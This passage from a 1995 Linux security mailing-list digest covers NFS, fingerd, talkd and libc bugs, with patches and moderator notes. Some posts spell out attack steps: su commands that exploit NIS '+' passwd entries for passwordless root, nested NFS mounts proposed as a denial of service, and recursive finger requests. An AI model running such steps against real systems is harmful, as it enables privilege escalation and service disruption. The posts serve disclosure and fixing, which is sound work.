>some of which have been known for a while and supposedly been fixed a long >time ago. However, none of the versions I found on the usual FTP sites had >these fixes incorporated. Will the new server not mix up read-only exports? My current nfsd does. This means I have to export all file systems read/write (or probably all read-only, but I cannot do that), because otherwise some file systems are read-write, and some are read-only, but you cannot predict which will be which. It changes over time, too. This is a rather current version of Slackware (off the server, perhaps 2 months or 4 in the run). - -- David Kastrup, Goethestr. 20, D-52064 Aachen Tel: +49-241-72419 Email: [email protected] Fax: +49-241-79502 ------------------------------ From: Jeff Uphoff Date: Mon, 13 Mar 1995 15:00:27 -0500 Subject: Oops...didn't mean to approve that last one! [was: Re: SECURITY: NFS Vulnerability] - ------- start of forwarded message (RFC 934 encapsulation) ------- >From: [email protected] (David Kastrup) Message-Id: <9503130857.AA04756@rama> To: [email protected] Subject: Re: SECURITY: NFS Vulnerability Newsgroups: comp.os.linux.announce References: Will the new server not mix up read-only exports? My current nfsd does. This means I have to export all file systems read/write (or probably all read-only, but I cannot do that), because otherwise some file systems are read-write, and some are read-only, but you cannot predict which will be which. It changes over time, too. This is a rather current version of Slackware (off the server, perhaps 2 months or 4 in the run). - - -- David Kastrup, Goethestr. 20, D-52064 Aachen Tel: +49-241-72419 Email: [email protected] Fax: +49-241-79502 - ------- end ------- This message was not intended for the list (AFAICT), but rather as a reply to the authors of the ALERT posting regarding the NFS server. If you have a reply for this question though, please also CC it to the fellow above (David Kastrup); he's not a member of this mailing list. Sorry about that--I hit my "approve" key-sequence on the wrong message... - --Up. P.S. OK Olaf, we're even. :)~ ------------------------------ From: [email protected] (Panzer Boy) Date: 13 Mar 1995 12:48:05 -0500 Subject: Re: in.talkd+flash Alan Cox ([email protected]) wrote: : The sunsite in.talkd with flash protection has a critical error that : allows arbitary commands to be executed on a machine running it. (It uses : system to mail complaints and doesnt check for things like ';' in the : hostname). : Everyone should fix it or remove it ASAP ftp://ftp.dhp.com/pub/linux/security/ntalkd.tar.gz A friend of mine originally created this for a BSD based machine, I made a few changes to the Makefile, and got it to compile. BSD talkd, modded to parse all talkd requests through "isprintable". More compiler warnings than I like, but it works in the end, does anyone want to clean this up? Here's the relavent code that is added: for (loop = 0; request->l_name[loop] != '\0'; loop++) /*if nonprintable chars */ if (isprint(request->l_name[loop]) == 0) { syslog(LOG_WARNING, "talkd: FLASH detected"); request->l_name[loop]='?'; /* throw it out */ return(FAILED); } - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Daniel Hollis) Date: Mon, 13 Mar 1995 12:20:50 -0800 (PST) Subject: Re: Netscape sending unauthorized stuff? > Rumour has it that netscape periodically connects to a server at > mcom.com. Of course it does. Netscape by default connects to home.mcom.com which is Netscape's home page. - -Dan ------------------------------ From: [email protected] (Daniel Hollis) Date: Mon, 13 Mar 1995 12:25:32 -0800 (PST) Subject: Re: finger @ bug > in.fingerd has a bug which allows "recursive" fingering. For example: > > finger [email protected]@host.domain > > I have sent a patch for this to Florian. You can get fixed in.fingerd > source from ftp://ftp.ists.pwr.wroc.pl/pub/linux/bugfixes/fingerd.tar.gz > or wait for a new NetKit-B release. This has been known for a *long* time. Almost a year. The patches have already been available on sunsite for ages. The solution is to run a patched in.fingerd, or a different fingerd altogether, like cfingerd. - -Dan ------------------------------ From: Ricardo Nassif Date: Mon, 13 Mar 1995 16:47:08 -0500 Subject: Netscape sending unauthorized stuff? Thomas> Rumour has it that netscape periodically connects to a Thomas> server at mcom.com. [A totally unscientific experience follows] Ah... If you mean v.1.1b, yes, it acts weird sometimes. Every once in a while it comes out of the cold, as of by enchantment (sp), and starts doing something. This "something" is accessing another "something" becouse the modem leds go wild for a few seconds. Then it returns to do being quite. I've looked at the ~/.netscape-cache dir for some clue with no success. Thomas> Has anybody run a netscape under strace yet, to find out Thomas> what kind of data it sends? No. Thomas> If there's any truth to this matter, netscape should be Thomas> banned for installing a potential trojan horse. Yes. - -- ||||||||||||||||||||||||||||||||||||||||||||||||||| Ricardo Nassif ||||||| | There is grandeur in |||||||||||||||||||||||||||| [email protected] ||||| | this view of life. |||||||||||||||||||||||||||| [email protected] |||||| | --C. Darwin, 1859 ||||||| http://www.bluesky.net/rcn/FrontDoor.html|| ||||||||||||||||||||||||||||||||||||||||||||||||||| Fax: 1 617 586 9432 || ------------------------------ From: [email protected] (Thomas Koenig) Date: Mon, 13 Mar 1995 11:09:18 +0100 (MET) Subject: Re: SECURITY: NFS Vulnerability > I have annother security problem with NFS - but a minor one. Users can > cause denial of service attacks by locking up NFS servers that they have > access to.. > > mount -t nfs server.edu:/exports/goodies /mnt > mkdir /mnt/another_mountpoint > mount -t nfs server.edu:/exports/goodies /mnt/another_mountpoint > ll /mnt/another_mountpoint > > Because NFS is not multithreaded, I think this will fail.. Let me know if > I'm barking up the wrong tree - I get the digest, so I'll see responses. This won't cause (too many) problems. The current NFS server does serve requests sequentially, but one ll will generate many requests. As far as making nfs multithreaded goes - it might make more sense to start up multiple nfs daemons which listen on the same socket, then take turns in servicing requests (especially with the rather high authentication load in 2.1). I don't think this should/could be done in user space, though. Thomas ------------------------------ From: [email protected] (Daniel Hollis) Date: Mon, 13 Mar 1995 12:31:28 -0800 (PST) Subject: Re: rsh et al.: Linux's ipfw seems to solve the practical problem. [Mod: Quoting trimmed.] > 2. You then compile your Linux kernel with firewall enabled, and then > on each of your LAN nodes (e.g. in rc.local) you say: Ok. I compiled my kernel with firewalling, but I can't find ipfw anywhere. I grabbed ipfirewall.c from sunsite but it refuses to compile (all sorts of warnings and structures not found etc.... and yes, I did check the include files, etc...) so where can I get a *WORKING* copy of the ipfw program??!?!? And is there any documentation on it at all? - -Dan - ---- - ------------------------------------------------------------------------------ Dan Hollis | Seiyuu Daisuki! | mokkori.jcic.org servers: JCIC System Administrator | Orikasa Ai | http:LPA-HOWTO (Linux page) http://www.jcic.org/ | Yokoyama Chisa | http:SM.html (SM Records page) [email protected] | (~(^_^)~) | Ztalk (Internet voice mail) - ------------------------------------------------------------------------------ - -- [Mod: Please direct replies to this to the author, not the list. Thanks. --Jeff.] ------------------------------ From: [email protected] (Olaf Kirch) Date: Tue, 14 Mar 1995 00:01:13 +0100 (MET) Subject: miscellaneous Hello all, First of all, a few words on the NFS patch. Most people that answered me said it worked OK for them, although there were two that had problems with the ro/rw flags. I can't reproduce this, so I'd like to hear more about it if possible. But please send anything NFS-related by private email unless it really concerns security. I don't remember who posted the report on tying up nfsd by two nested mounts, but it's not clear to me how this should work. On one hand, mount points are resolved locally by your kernel, so there's not actually a `loop' that could tie up nfsd. What's more, Linux nfsd by default does not re-export nfs-mounted directories so you can't even create a loop involving two machines accidentally. Cheers Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ From: Jeff Uphoff Date: Mon, 13 Mar 1995 19:06:11 -0500 Subject: Reply-To headers. I have disabled generation of the "Reply-To:" headers that, by default, directed replies to list postings back to the list. Too large a volume of the messages that Olaf and I have been receiving as moderators is e-mail that really should be sent directly back to the authors of posts, such as mail that answers simple questions or decides to "pick nits." People that simply pounce on the reply key won't saturate the list without at least thinking about it this way; there are many people on this list that do not wish to see it become yet another high-volume list that cannot be kept up with. In the same vein, Olaf and I do not want to see that happen because it is not what we established the lists for. When replying to a post from now on, you will have to explicitly CC: the list into the reply for mail to be sent to it--but before doing that, ask yourself if this is really something that many hundreds of people would be interested in reading. The current size of this security lists are: 749 linux-security 76 linux-security-digest 1138 linux-alert 19 linux-alert-digest The 825 subscriptions to the "security" lists include addresses from 51 top-level Internet domains, so you're going to have people world-wide saying: "why didn't he just reply to that in private e-mail?" (As well as saying: "and why did those brain-dead moderators approve it?" ;-) Let's also try to keep on-topic with *Linux* security. General UNIX security topics such as inetd.conf, shadow passwords, traditionally setuid applications, why /etc/passwd is world-readable, Netscape & Mosaic, httpd, etc., are *not* Linux-specific; many of these topics have already been beaten to death on Usenet, in mailing lists, and around the water cooler--there's no point in our doing it again here. Examples of Linux-specific security are things like the NFS server (a good recent example), special system util's that aren't generally found in other flavors of UNIX or that are customized for Linux, and security holes and/or decisions in common Linux packages and distributions (I realize that there's some overlap with setuid, inetd.conf, etc., here--so this is often case-by-case for each topic). I don't like disapproving posts (and I get the feeling that Olaf doesn't either), but we're going to be more and more frequent (and terse) with our disapproval replies if the threads keep veering into non-Linux-specific and/or non-security-related realms. (Those topics are what the Rutgers mailing-lists are for.) We've been pretty liberal with our approvals so far, but we're going to be much less so in the future. Sorry if that all sounded rude, but we're trying to establish order for the many people here that really want to see focused discussions. We've had at least one well-regarded Linuxer (Rik Faith) leave the list already, and I have a feeling that it's due to the excess traffic, noise, and drifting of topics. Part of this is our fault as moderators, and we now aim to correct that. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Rafal Maszkowski) Date: Tue, 14 Mar 1995 02:23:04 +0100 (MET) Subject: Re: finger @ bug [mod: Can we please cut this discussion short? IMHO, the recursive finger is really a feature, although it would be fine if it was disabled by default. Another problem (which is a real bug) is what Rafal writes about; if your finger joe@@@@@@@@@@@@@@foo.edu, many fingerd's will create lots of processes that seem to hang around indefinitely. Follow-ups to this post will be redirected to the author unless they add something significantly new. --okir ] Daniel Hollis writes: > This has been known for a *long* time. Almost a year. The patches have > already been available on sunsite for ages. The solution is to run a > patched in.fingerd, or a different fingerd altogether, like cfingerd. Are you sure the patches on sunsite are against recursive finger? I think they were helping only in denial of service @@@@@@@@@ bug. R. - -- Rafal Maszkowski [email protected] http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec ------------------------------ End of linux-security-digest V1 #11 *********************************** linux-security-digest/1995/v01.n012100664 1767 1767 43076 5731615752 16066 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #12 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 15 March 1995 Volume 01 : Number 012 Hey, I have a big one. XDM creates "floating" socket? Linux NFS client Re: finger @ bug Re: finger @ bug Important security fix to getpwnam.c Somebody else to report bugs to Re: Linux NFS client[ ---------------------------------------------------------------------- From: "Alvaro M. Echevarria" Date: Tue, 14 Mar 1995 09:28:42 +0100 Subject: Hey, I have a big one. [mod: This glitch is still present in libc-4.6.27. The NYS library seems to check for it, though. --okir] Hi. A while ago I discovered a really big security hole affecting the libraries and yellow pages. Although it is a problem of the libraries, it actually makes dangerous login and su. This is the problem: to get yellow pages to work, the standard says you need to have a +::0:0::: or a +:*:0:0::: at the end of the /etc/passwd file (I know in linux that is not necessary, but I think most system administrators still do it that way). The problem is that library functions getpwnam, etc, consider '+' as a normal user, so if you have +::0:0::: in /etc/passwd, what you really have is a passwdless root. So, as login/su don't test wether a username begins with a +, guess what it happens? I contacted with the author of login (Peter Orbaek, [email protected]), and he has released a new version, that tests for usernames starting with +. However I have not been able to report the bug to gnu (responsible for su) nor the maintainers of the libraries. So here goes the patch for su.c: 270a271,276 > /* If username starts with +, it is not valid, as it is the anchor for > yellow pages. Otherwise, we have a gigantic security hole. This is just > a dirty hack to fix it, as this should be fixed in the libraries instead > of programs. Feb 95. */ > if (new_user[0]=='+') > error (1, 0, "user %s does not exist", new_user); By the way, I sent a report to [email protected] a month ago, and I haven't received a single word from there. I don't know if I used the correct address, but anyway, I suspect that someone deleted my message after reading "linux" on the subject... :-) who cares. Regards. Alvaro Martinez Echevarria MADRID---------------SPAIN [email protected] [email protected] ------------------------------ From: alex Date: Mon, 13 Mar 1995 19:42:43 -0500 (EST) Subject: XDM creates "floating" socket? [mod: I suspect that this port is opened by the Chooser, but I'm not sure. I'd prefer if you mailed your responses to Alex directly. Alex, can you post a summary of the responses you get? --okir] Hi, Okay, here's the deal: whenever I start XDM, it creates starts listening at :6000. In addition to that another socket gets created with a pretty random number (usually in 1030-1300 range). If one telnets to that socket, it allows remote site to issue some kind of commands (the only one I could check was "quit" which terminated connection). While the connection is established, it looks like XDM (or whatever) is doing that performs fork() and continues to listen to the socket. Whenever "quit" command is given, the original socket gets closed and a socket with a new number re-opens. Now, I can't find any pattern: some Linux boxes here on campus are known to have this feature, some aren't. Some Suns running X11R6 do it, some don't ;-) So it is kinda funny... I could not find any information about this floating sockets. First when I found that Suns have this too, I though that in that case everything is okay, but some recent events with Suns in the labs aren't making me happy (/etc/ifconfig "forgets" to show promisc mode flag when *I* put the card in the promisc. mode). Best wishes, Alex BTW, don't "play" with these systems, don't: we kinda lost all sence of humor. ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= ------------------------------ From: Yossi Gottlieb Date: Tue, 14 Mar 1995 14:19:08 +0200 (GMT+0200) Subject: Linux NFS client I've recently noticed a problem with the implementation of the NFS in the kernel. Since the NFS server doesn't keep track of open files, a huge possibility for race conditions exists. For example, with current CLIENT implementation, it is possible to open a file on an NFS filesystem and while the file is open, erase it, and immediately replace it with a symlink. The symlink gets the same inode and most important, the same file handle of the original file (it may not necessarily be so, and depends on the server). Any futher writes to the file will go thru the symlink. This is a HUGE security hole, and puts in danger both the client and the server. BSD handles this by disallowing NFS REMOVE calls on locally-open files. Instead, the file is renamed into something like ".nfsXXXX" (on SunOS anyway), which remains until the file is closed, and a real NFS REMOVE call is sent. A simple patch is included for having a similar behaviour on the Linux NFS client. Note that it is hardly tested, so be careful. Note that the patch doesn't completely solve the problem. Other clients can still replace the open file, or the temporary '.nfs...' file (that's the same thing, actually). Fixing that problem is only possible by using a special NFS server which keeps track of all files, and verifies no two files get the same file handle (i.e. something like keeping a counter which gets increased per file creation, and somehow stuffed into the file handle). btw Perhaps the SunOS nfsd have this behaviour, anybody can confirm/deny? While experimenting wit SunOS, I've noticed that whenever I try to replace an open file, any further writes to it causes a 'NFS Write Error' be sent to syslog, even though the syscall does not indicate any problem. yossi. - --- linux/fs/nfs/file.c.orig Sat Mar 11 23:46:48 1995 +++ linux/fs/nfs/file.c Tue Mar 14 13:24:36 1995 @@ -10,6 +10,7 @@ * and implementation by Wai S Kok [email protected]. * * Expire cache on write to a file by Wai S Kok (Oct 1994). + * Better treatment of unlink (BSD-style) by Yossi Gottlieb (Mar. 95) * * nfs regular file handling functions */ @@ -33,6 +34,7 @@ static int nfs_file_read(struct inode *, struct file *, char *, int); static int nfs_file_write(struct inode *, struct file *, char *, int); static int nfs_fsync(struct inode *, struct file *); +static void nfs_release(struct inode *, struct file *); static struct file_operations nfs_file_operations = { NULL, /* lseek - default */ @@ -43,7 +45,7 @@ NULL, /* ioctl - default */ nfs_mmap, /* mmap */ NULL, /* no special open is needed */ - - NULL, /* release */ + nfs_release, /* release */ nfs_fsync, /* fsync */ }; @@ -94,6 +96,23 @@ { return 0; } + +static void nfs_release(struct inode *inode, struct file *file) +{ + struct inode *dir; + + if (inode->u.nfs_i.del_ino) + if ((dir = iget(inode->i_sb, inode->u.nfs_i.del_ino))) { + inode->u.nfs_i.del_ino = 0; + file->f_count--; + if (dir->i_op->unlink(dir, inode->u.nfs_i.del_name, NFS_DUMMYLEN) < 0) + printk("nfs_release: dummy nfs file remove error.\n"); + file->f_count++; + } + return; +} + + static int nfs_file_read(struct inode *inode, struct file *file, char *buf, int count) - --- linux/fs/nfs/dir.c.orig Sat Mar 11 23:07:42 1995 +++ linux/fs/nfs/dir.c Tue Mar 14 13:24:17 1995 @@ -2,6 +2,7 @@ * linux/fs/nfs/dir.c * * Copyright (C) 1992 Rick Sladkey + * Better treatment of unlink (BSD-style) by Yossi Gottlieb (Mar. 95) * * nfs directory handling functions */ @@ -446,9 +447,46 @@ return error; } - -static int nfs_unlink(struct inode *dir, const char *name, int len) +/* This handles the rename of the deleted file into a .nfsXXXX. + */ +static char hextoasc[] = "0123456789abcdef"; +int nfs_autorename(struct inode *dir, const char *name, int len, char *newname) { + pid_t pid = current->pid; + struct inode *fi; int error; + char tmpname[NFS_DUMMYLEN]; + + memcpy(tmpname, ".nfsAXXXX.linux", NFS_DUMMYLEN); + tmpname[8] = hextoasc[pid & 0xf]; + tmpname[7] = hextoasc[(pid >> 4) & 0xf]; + tmpname[6] = hextoasc[(pid >> 8) & 0xf]; + tmpname[5] = hextoasc[(pid >> 12) & 0xf]; + + dir->i_count++; /* nfs_lookup does 1 iput() per call */ + while (!dir->i_op->lookup(dir, tmpname, NFS_DUMMYLEN, &fi)) { + iput(fi); + tmpname[4]++; + if (tmpname[4] > 'z') + return -EINVAL; + dir->i_count++; + } + iput(fi); + + dir->i_count += 2; /* nfs_rename does iput() for each dir inode */ + if (!(error = dir->i_op->rename(dir, name, len, dir, tmpname, NFS_DUMMYLEN))) + memcpy(newname, tmpname, NFS_DUMMYLEN); + return error; +} + + + + +static int nfs_unlink(struct inode *dir, const char *name, int len) +{ + int error, i; + struct inode *fi; + struct file *f; if (!dir || !S_ISDIR(dir->i_mode)) { printk("nfs_unlink: inode is NULL or not a directory\n"); @@ -459,6 +497,27 @@ iput(dir); return -ENAMETOOLONG; } + + /* before issuing an NFS remove call, we make sure the inode is + * not currently in use. in that case, we would only rename the + * file, and unlink it once the final close is made. + */ + dir->i_count++; /* lookup does iput()... */ + if (dir->i_op->lookup(dir, name, len, &fi) < 0) { + iput(dir); + return -ENOENT; + } + for (f = first_file, i=0; i < nr_files; i++, f = f->f_next) + if (f->f_count > 0 && f->f_inode->i_ino == fi->i_ino) { + if (!(error = nfs_autorename(dir, name, len, fi->u.nfs_i.del_name))) { + fi->u.nfs_i.del_ino = dir->i_ino; + } + iput(fi); + iput(dir); + return error; + } + iput(fi); + error = nfs_proc_remove(NFS_SERVER(dir), NFS_FH(dir), name); if (!error) nfs_lookup_cache_remove(dir, NULL, name); - --- linux/include/linux/nfs.h.orig Tue Mar 14 13:22:03 1995 +++ linux/include/linux/nfs.h Tue Mar 14 13:22:14 1995 @@ -9,6 +9,7 @@ #define NFS_FHSIZE 32 #define NFS_COOKIESIZE 4 #define NFS_FIFO_DEV (-1) +#define NFS_DUMMYLEN 15 #define NFSMODE_FMT 0170000 #define NFSMODE_DIR 0040000 #define NFSMODE_CHR 0020000 - --- linux/include/linux/nfs_fs_i.h.orig Sat Mar 11 23:03:12 1995 +++ linux/include/linux/nfs_fs_i.h Tue Mar 14 13:22:36 1995 @@ -8,6 +8,8 @@ */ struct nfs_inode_info { struct nfs_fh fhandle; + int del_ino; + char del_name[NFS_DUMMYLEN]; }; #endif ------------------------------ From: Thomas Briggs Date: Tue, 14 Mar 1995 08:38:36 -0500 (EST) Subject: Re: finger @ bug I think, at least from a little experimenting, that the true GNU fingerd is safe from this... maybe Linux could use it? I tried the finger bug at a school that uses GNU finger exclusively, and it won't letcha through... +-----------+ "Cutter has crashed, again!" - Scott Hooper, 1994 |Tom Briggs +----------------------------+ Cutter: probably the most heavily |Shippensburg University of Pennsylvania | loaded i486-33 machine ever made. |primary address: [email protected]+---------+ Linux 1.1.94, 600 users |secondary address: [email protected]| telnet,Aftp,gopher,http +--------------------------------------------------+ nfs,identd,pine,rtin... ------------------------------ From: [email protected] (Michael Shields) Date: Tue, 14 Mar 1995 23:30:53 -0500 (EST) Subject: Re: finger @ bug This is easy to fix. Here's a patch I wrote just now. This is against the fingerd in NetKit-B 0.06. - --- 1.1.1.1 1994/08/29 04:35:25 +++ fingerd.c 1995/03/15 04:26:08 @@ -49,6 +54,8 @@ #include #include #include +#include +#include main(argc, argv) @@ -63,8 +70,10 @@ register char *lp; int p[2]; #define ENTRIES 50 - - char **ap, *av[ENTRIES + 1], line[1024], *strtok(); + char **ap, *av[ENTRIES + 1], line[1024], *cp, *strtok(); int welcome = 0; + struct sockaddr_in sin; + int sval; opterr = 0; while ((ca = getopt(argc, argv, "w")) != EOF) @@ -80,15 +89,9 @@ argc -= optind; argv += optind; - -#ifdef LOGGING /* unused for now */ - -#include - - struct sockaddr_in sin; - - int sval; - - sval = sizeof(sin); - - if (getpeername(0, &sin, &sval) < 0) + if (getpeername(0, (struct sockaddr *) &sin, &sval) < 0) fatal("getpeername"); - -#endif if (!fgets(line, sizeof(line), stdin)) exit(1); @@ -117,6 +120,13 @@ *ap = strtok(lp, " \t\r\n"); if (!*ap) break; + /* Guard against recursive fingers or `jrn@@@foovax'. */ + if (cp = strchr(*ap, '@')) { + syslog(LOG_WARNING | LOG_DAEMON, + "`@' in finger request from %s; that's suspicious", + inet_ntoa(sin.sin_addr)); + *cp = 0; + } /* RFC742: "/[Ww]" == "-l" */ if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) *ap = "-l"; - -- Shields. ------------------------------ From: Swen Thuemmler Date: Wed, 15 Mar 1995 10:33:42 +0100 (MET) Subject: Important security fix to getpwnam.c Hello all, the following patch fixes a security hole present in the current libc code. The bug allowes anyone to become root if you have the entry +::0:0::: in /etc/passwd, and it allows anyone to become the user, whose entry is before an entry starting with a "+" in /etc/passwd, e.g. if you have man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash +@mygroup - -@hackers + in /etc/passwd, then the commands su +@mygroup su -- -@hackers su + will su to ftp without a password. This bug not only affects su, but also login, rlogin, rsh etc. The only fix is to disable NIS or to put a -1 in the uid and gid fields of the +-Entries (this will still anyone allow to login, but only with a uid and gid of 65535. Now where is the hole i can crawl into ... - --Swen diff -u -r2.7 -r2.6 - --- 2.7 1995/03/15 09:02:37 +++ 2.6 1995/03/03 16:17:53 @@ -63,6 +63,8 @@ return(NULL); while ((p = __pwdread(stream, info)) != NULL) { + if (!strcmp(p->pw_name, name)) + break; #ifdef YP if (NULL == stored_pwd) stored_pwd = __nis_alloc_pwd_args(); @@ -118,8 +120,6 @@ break; } #endif; - - if (0 == strcmp(p->pw_name, name)) - - break; } (void) fclose(stream); return(p); ------------------------------ From: [email protected] (Thomas Koenig) Date: Tue, 14 Mar 1995 19:58:54 +0100 (MET) Subject: Somebody else to report bugs to If you have a Linux security bug report, I'd recommend you also send a CC: of whatever you send anywhere else to DFN-CERT, [email protected], the CERT equivalent of the DFN, the German research network. Unlike CERT, who seem to drop Linux security reports into the bit bucket as soon as they receive them, DFN-CERT - - do listen to Linux security bug reports - - do keep you informed of what's happening with a bug you reported (which does give you a nice feeling ;-) - - do fully disclose bugs to their security contacts at sites - - may oneday persuade other CERTs to listen to Linux bug reports Thomas - -- [Mod: Looking at my subscription files, I found that the following two addresses have already been subscribed to these lists: [email protected] [email protected] It seems that, not only do they listen to Linux bug reports, they've taken a bit of an active interest in both Linux and the discussions/alerts on these lists. That being the case, CC:'ing [email protected] on messages to this list may be an unnecessary duplication. (If I'm wrong on this, I invite corrections from the cert.dfn.de subscribers.) --Jeff.] ------------------------------ From: [email protected] (Alan Cox) Date: Wed, 15 Mar 1995 14:45:07 +0000 (GMT) Subject: Re: Linux NFS client[ > possibility for race conditions exists. For example, with current CLIENT > implementation, it is possible to open a file on an NFS filesystem and while > the file is open, erase it, and immediately replace it with a symlink. The > symlink gets the same inode and most important, the same file handle of the > original file (it may not necessarily be so, and depends on the server). Any > futher writes to the file will go thru the symlink. This is correct. Security is entirely the server end responsibility. In your example if the symlink pointed to a read-only file the write would return with an error. This is one of the areas where NFS does not have Unix semantics If you can do that write to a read only file, notify your vendor, report it to cert and get a fix. > This is a HUGE security hole, and puts in danger both the client and the > server. BSD handles this by disallowing NFS REMOVE calls on locally-open No > files. Instead, the file is renamed into something like ".nfsXXXX" (on SunOS > anyway), which remains until the file is closed, and a real NFS REMOVE call > is sent. This is purely to improve the BSD semantics so that open/unlink/use-file/close has the desired unix behaviour. For that reason your patch has a real use. > btw Perhaps the SunOS nfsd have this behaviour, anybody can confirm/deny? > While experimenting wit SunOS, I've noticed that whenever I try to replace > an open file, any further writes to it causes a 'NFS Write Error' be sent > to syslog, even though the syscall does not indicate any problem. Thats because SunOS NFS works correctly. 8) Alan ------------------------------ End of linux-security-digest V1 #12 *********************************** linux-security-digest/1995/v01.n013100664 1767 1767 46544 5732670233 16066 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #13 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 18 March 1995 Volume 01 : Number 013 Re: finger @ bug DFN-CERT and Linux bugs (was: Somebody else to report bugs to) Re: Linux NFS client patch archive [long moderator's note attached] SSL protocol File Permission Checker DIP suid security problem GNU finger 1.37 executes ~/.fingerrc with gid root (fwd) list of vulnerable programs ---------------------------------------------------------------------- From: [email protected] (Michael Shields) Date: Wed, 15 Mar 1995 17:21:40 -0500 (EST) Subject: Re: finger @ bug Yesterday I wrote: > This is easy to fix. Here's a patch I wrote just now. This is against > the fingerd in NetKit-B 0.06. After some thought, here's a patch that gives better log messages by looking up the hostname of the remote system, and using openlog(3). It also sends an error to the remote user, rather than simply truncating; this is less-astonishing. diff -u -r1.1.1.1 fingerd.c - --- 1.1.1.1 1994/08/29 04:35:25 +++ fingerd.c 1995/03/15 22:17:25 @@ -49,6 +54,8 @@ #include #include #include +#include +#include main(argc, argv) @@ -63,8 +70,12 @@ register char *lp; int p[2]; #define ENTRIES 50 - - char **ap, *av[ENTRIES + 1], line[1024], *strtok(); + char **ap, *av[ENTRIES + 1], line[1024], *cp, *strtok(); int welcome = 0; + struct sockaddr_in sin; + int sval; + struct hostent *remotehost; + const char *remotename; opterr = 0; while ((ca = getopt(argc, argv, "w")) != EOF) @@ -80,15 +91,17 @@ argc -= optind; argv += optind; - -#ifdef LOGGING /* unused for now */ - -#include - - struct sockaddr_in sin; - - int sval; - - sval = sizeof(sin); - - if (getpeername(0, &sin, &sval) < 0) + if (getpeername(0, (struct sockaddr *) &sin, &sval) < 0) fatal("getpeername"); - -#endif + remotehost = gethostbyaddr((const char *) &sin.sin_addr, + sizeof(sin), AF_INET); + if (remotehost) + remotename = remotehost->h_name; + else + remotename = inet_ntoa(sin.sin_addr); + + openlog("fingerd", LOG_PID, LOG_DAEMON); if (!fgets(line, sizeof(line), stdin)) exit(1); @@ -117,6 +130,15 @@ *ap = strtok(lp, " \t\r\n"); if (!*ap) break; + /* Guard against recursive fingers or `jrn@@@foovax'. */ + if (cp = strchr(*ap, '@')) { + syslog(LOG_WARNING, + "`@' in finger request from %s; that's suspicious", + remotename); + printf("Recursive fingering not allowed!\r\n"); + fflush(stdout); + exit(0); + } /* RFC742: "/[Ww]" == "-l" */ if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) *ap = "-l"; - -- Shields. ------------------------------ From: Wolfgang Ley Date: Thu, 16 Mar 1995 14:14:57 +0100 (MET) Subject: DFN-CERT and Linux bugs (was: Somebody else to report bugs to) - -----BEGIN PGP SIGNED MESSAGE----- [email protected] (Thomas Koenig) said: > If you have a Linux security bug report, I'd recommend you also send a > CC: of whatever you send anywhere else to DFN-CERT, [email protected], > the CERT equivalent of the DFN, the German research network. *Please* do NOT do that. Read on... > Unlike CERT, who seem to drop Linux security reports into the bit bucket > as soon as they receive them, DFN-CERT > > - do listen to Linux security bug reports > > - do keep you informed of what's happening with a bug you reported > (which does give you a nice feeling ;-) > > - do fully disclose bugs to their security contacts at sites > > - may oneday persuade other CERTs to listen to Linux bug reports This is our policy, yes. However the DFN-CERT is (you already said this) the CERT for the *German* research network (DFN). We are not able to handle all vulnerability reports for the complete Internet. We do not have the time and staff for doing Linux vulnerability analysis (in fact our resources are eaten up by the other work like incident handling and proactive work writing bulletins, offering security workshops etc.). We are working together with other CERTs all over the world. The DFN-CERT is a member of FIRST (Forum of Incident Response and Security Teams). For further information on FIRST see http://www.first.org/first/ Our information-services are available at http://www.cert.dfn.de/ (german) http://www.cert.dfn.de/eng/ (english) ftp://ftp.cert.dfn.de/pub/ It is also necessary to understand, that CERTs are willing to deal with Linux-security problems but that Linux is not the only OS they have to take care of. Today we see a big difference between highly motivated Linux users who do a lot of their work on their own systems and can fix problems very fast and commercial usage of computer systems on the other hand. It makes a difference if you are only responsible for your own machine or a small subnet or if you have to deal with a lot of different OS-types in a large organization. We can't simply publish a patch that only works for Linux and don't care about the other ones. It is important to know who else is or may be affected by this bug (other systems are sometimes based on the same sources) and if there is a patch or workaround for those systems available, too. If this can't be solved in a timely fashion, we have to decide on every single vulnerability how we deal with this problem. If it helps to prevent attacks we are willing to publish this information even if there is no official patch available... The DFN-CERT would also like to work together with the developers of the Linux implementations. If we do know that a fix is coming from the original author of a package (e.g. it is PGP signed and other people can convince us, that the given author is really responsible for that part of software) we would like to forward this information to out site security contacts and to the other FIRST members (like CERT/CC). Every input and ideas how to handle Linux problems is appreciated. > -- > [Mod: Looking at my subscription files, I found that the following two > addresses have already been subscribed to these lists: > > [email protected] > [email protected] > > It seems that, not only do they listen to Linux bug reports, they've > taken a bit of an active interest in both Linux and the > discussions/alerts on these lists. That being the case, CC:'ing > [email protected] on messages to this list may be an unnecessary > duplication. (If I'm wrong on this, I invite corrections from the > cert.dfn.de subscribers.) --Jeff.] Yes - we do listen to Linux security reports as well as to bugtraq, 8lgm etc. However we don't have the resources to pick up all vulnerability reports from those lists. Please report them directly to the CERT/CC at [email protected]. They will ask us (and other FIRST teams) if they need help. Please remember that nearly all existing CERTs do have a very high work- load and that a special Linux vulnerability may not have that high priority compared to an ongoing attack or another bug that effects all vendors. So please accept if your particular bug report is not processed within 24 hours. Of course you should ask for an acknowledgment of your mail if you don't receive any feedback within a week or so... Bye, Wolfgang Ley (DFN-CERT). - - -- - - ---------------------------------------------------------------------- Wolfgang Ley, DFN-CERT, Vogt-Koelln-Str. 30, 22527 